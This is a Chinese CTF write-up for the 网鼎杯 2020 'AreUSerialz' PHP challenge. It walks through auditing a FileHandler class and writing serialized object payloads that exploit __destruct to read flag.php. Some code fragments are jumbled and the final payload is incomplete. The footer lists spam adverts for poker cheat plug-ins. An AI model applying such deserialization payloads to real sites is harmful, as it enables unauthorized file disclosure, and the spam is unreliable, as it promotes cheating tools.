[网鼎杯 2020 青龙组]AreUSerialz1
创始人
2024-11-15 10:11:09
0

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]:
";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
            $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}
 O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关内容

热门资讯

智星德州菠萝透视插件工具!智星... 智星德州菠萝透视插件工具!智星菠萝可以辅助吗,hhpoker透视脚本(详细辅助插件教程)1、构建自己...
透视规律!wepoker透视脚... 透视规律!wepoker透视脚本苹果版,wejoker黑侠辅助器,第三方教程(本来是有挂)1、玩家可...
技巧知识分享“哥哥打大a辅助工... 技巧知识分享“哥哥打大a辅助工具视频”如何下载德普之星辅助软件(切实存在有挂);人气非常高,ai更新...
智星德州菠萝透视插件工具!hh... 智星德州菠萝透视插件工具!hhpoker德州透视,aapoker辅助工具免费下载(详细辅助2025新...
重要通知“家乡大贰辅助工具”h... 此外,数据分析德州(家乡大贰辅助工具)辅助神器app还具备辅助透视行为开挂功能,通过对客户家乡大贰辅...
透视好友房!hhpoker辅助... 透视好友房!hhpoker辅助器,德扑HHpoker有挂吗,实用技巧(真是存在有挂)1、让任何用户在...
hhpoker透视脚本!约局吧... hhpoker透视脚本!约局吧游戏挂,wpk透视工作室(详细辅助2025教程)您好,hhpoker透...
透视免费!德普之星怎么作弊,德... 透视免费!德普之星怎么作弊,德扑圈透视挂,2025新版总结(竟然存在有挂)1、透视免费!德普之星怎么...
科技揭秘“海贝之城有辅助吗”x... 科技揭秘“海贝之城有辅助吗”xpoker辅助控制(起初有挂);大神普及一款德州ai内幕,确定了海贝之...
智星德州菠萝插件官网!wepo... 您好,智星德州菠萝插件官网这款游戏可以开挂的,确实是有挂的,需要了解加微【136704302】很多玩...